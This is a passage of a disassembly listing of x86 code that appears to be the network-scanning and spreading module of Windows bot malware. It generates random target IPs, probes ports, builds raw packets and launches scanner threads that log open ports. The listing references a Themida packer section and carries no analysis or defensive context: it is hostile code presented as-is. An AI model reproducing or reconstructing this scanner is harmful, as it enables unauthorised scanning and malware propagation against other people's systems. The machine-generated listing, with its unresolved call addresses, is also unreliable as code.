		lea	ecx, ds:4453FAh[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445420[eax*4]
		inc	ecx
		mov	dword_445420[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		nop
		call	sub_5F76F7
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	near ptr 71AB2DC0h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	near ptr 71AB2C69h
		nop
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	sub_5F76F7
		nop
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456DC


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27E0B10h
		push	eax
		call	near ptr 77C371BCh
		nop
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5F76F7
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5F76F7
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5F76F7
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5F76F7
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F0h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5F76F7
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5F76F7
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44541C[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		call	near ptr 2821DE2h
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2830000h
		nop
		nop
; ---------------------------------------------------------------------------
		db 7Dh dup(0CCh)
byte_42404D	db 33h dup(0CCh)	; DATA XREF: Themida_:00595576o
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		nop
		call	near ptr 27807B0h
		push	offset dword_50FA90
		call	near ptr 2780DB4h
		nop


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5F76F7
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		call	near ptr 27C07F2h
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5F76F7
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5F76F7
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		nop
		call	near ptr 27807B0h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2830000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
